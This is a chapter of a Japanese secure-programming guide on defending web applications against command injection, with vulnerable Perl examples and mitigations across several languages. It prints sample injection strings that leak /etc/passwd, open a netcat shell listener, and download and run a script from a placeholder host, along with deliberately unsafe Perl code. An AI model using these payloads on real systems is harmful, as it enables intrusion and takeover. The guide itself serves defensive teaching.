第6章 入力対策
コマンド注入攻撃対策

「入力対策」の最初の論点としてコマンド注入攻撃対策について述べる。コーディングにおいて文脈に応じた特殊記号対策を行うことは「入力対策」全般に共通する。それ以前の方式設計の段階で考慮すべき対策もある。

コマンド注入

「コマンド注入(Command injection)」は、Webアプリケーションプログラムがシェルコマンド文字列を組み立てて実行している箇所がある場合、そこに外部からデータに紛れさせたコマンド文字列を送り込まれると、コンピュータを不正に操られてしまう問題である。

参考:

注:シェルコマンド(すなわちOSコマンド)以外にも問題となるコマンドがあるので後述する。

コマンド注入に伴って想定される被害

コマンド注入を行う攻撃への対処が不十分であると、コンピュータの乗っ取り、他のコンピュータへの攻撃の踏み台、コンピュータウイルスのばらまき、フィッシング詐欺等の悪用が起こり得る。

コマンド注入攻撃のメカニズム

コマンド注入攻撃は、外部から取り込んだデータをコマンド文字列の一部に組み入れて、それをシェルに実行させる場面が狙われる。

コマンド注入攻撃のメカニズム
図6-1: コマンド注入攻撃のメカニズム

例えば、次はsendmailコマンドを利用してメールを発信する例である。

例(Perlスクリプト)
$to_address = cgi->param{'to_address'};
$message_file = "/app/data/0012.txt";
system("sendmail $to_address <$message_file");

攻撃者は、この to_address に次のような文字列を与えて、サーバ運用者の意図に反したコマンドの実行を行わせることができる。

  1. 投入する文字列: evil@site </etc/passwd #
    → /etc/passwd ファイルが流出する
  2. 投入する文字列: dummy@site </dev/null; nc -l -p 8080 | sh #
    → 遠隔からシェルコマンドの投入を待ち受ける(ファイアウォールで阻止されないとき)
  3. 投入する文字列: dummy@site </dev/null; wget http://site/badscript; sh badscript #
    → 悪意のスクリプトをダウンロードし実行させられる

対策 その1: うっかりシェルを動かさない

自分ではそのつもりが無くても、プログラマがシェルを起動するAPIを気づかぬうちに使っていることがありうる。

使い方によっては、シェルを起動してコマンドを解釈させることになるAPIがあることを認識し、できればそれらのAPIを使わないようにする。

Perl

exec(), system(), `...`, qx/.../
なるべく使わない。
open(h, "|{command}"), open(h, "{command}|")
なるべく使わない。open()の代わりにsysopen()を使う。
open()を使うのであれば、入力・出力を示す < や > の記号をパス名に添えて、open(HANDLE, "<$pathname") のようにする。

PHP

exec(), passthru(), proc_open(), shell_exec(), system()
なるべく使わない。

Python

os.system(), os.popen()
なるべく使わない。

Ruby

exec(), system(), `...`
なるべく使わない。exec()でも、引数が1つであってその中に特殊記号 * ? {} [] <> () ~ & | \ $ ; ' ` " \n のいずれかが含まれているとシェルが起動される。
open("|{command}", mode, perm),
open("|-{command}", mode, perm)
open()はなるべく使わない。open()を使うのであれば、ファイル名引数(第1引数)に記号「|」が含まれないようにする。

対策 その2: 別プログラムの起動を避ける

可能であれば、ソフトウェア構成を設計する際に(方式設計において)、別のプログラムを呼び出すことを避けた設計を行う。クラスライブラリやランタイムライブラリで解決できる場面で別プログラムを用いない。

対策 その3: 別プログラムを起動せざるを得ないとき

(1) シェルが用いられないAPIを選ぶ

別のプログラムを起動せざるを得ない場合、内部でシェルが呼び出されないAPIを選ぶことが望ましい。

C言語においては、execve等のexec系関数が、JavaではRuntimeクラスのexecメソッドがそれにあたる。

Perlには、シェルを動作させずに他のプログラムを呼び出せるAPIが備わっていない。

PHPには、プロセス制御関数群(PCNTL)の中にはpcntl_execというライブラリ関数が用意されている。これはまさにPOSIXのexec系関数を呼び出すものであるが、逆に現在のプロセス空間に別のプログラムをロードしてしまうため、場合によってはWebサーバプロセスの動作に大きな支障が出ることも考えられ、PHPのpcntl_execのWebアプリケーションにおける使用は推奨されていない。

(2) 特殊記号の排除

別のプログラムに与えるパラメータに用いる文字種を英数字のみ等安全なものに限定し、検査してから渡す。

bashの場合、次の特殊記号は別コマンドの実行に使われるものとして特に警戒する。

「;」「|」「&」「`」「(」「)」。

また、次の特殊記号もファイルへのアクセスが起こったりコマンドの意味が変わり得るので警戒する。

「$」「<」「>」「*」「?」「{」「}」「[」「]」「!」

(3) 環境変数のリセット

別のプログラムを呼び出す際の環境変数領域は呼び出し側プログラムによって初期化したものを与える。

例(Perlスクリプト)
%ENV = ();
$ENV{'PATH'} = "/bin:/usr/bin";
system($command);

対策 その4: 特殊な動作環境

chroot等による制約を課す

可能ならば、別のプログラムを起動する際は起動されるプログラムがアクセス可能なファイルシステム領域をchrootによって限定する。呼び出し側プログラムはchroot使用に必要となるroot権限を行使しだい速やかに放棄する。

対策 その5: シェル以外のコマンド注入対策

スクリプト実行関数を避ける

スクリプト言語にはシェルの起動と類似のAPIが存在する場合がある。

例えば、PerlにはPerlスクリプト文字列を解釈実行できる eval()関数がある。次は数値演算を行い、ゼロ除算エラーを検知して対処できるようにする際に eval()関数を利用する例である。

例(Perlスクリプト)
$c = eval("$a / $b");   # 除算を試みる
if ($@) {
	# 異常時(ゼロ除算)の処理
} else {
	# 正常時の処理
}

上の例で $b がユーザからの入力データであって、この $b に「1;悪意のPerlスクリプト」のような値が与えられると、eval()関数によって悪意のスクリプトが実行されることになる。

したがって、eval()関数は安易に多用しないほうがよい。使用せざるを得ない場合は、eval()に与える引数に対し厳しい検査を行う。

ちなみに『旧セキュア・プログラミング講座』においては、その 4-2. Perl の危険な関数において glob 関数がシェルを呼び出していることを指摘していたが、現在の Perl の glob 関数はシェルを呼び出しておらず、この問題は解消されている。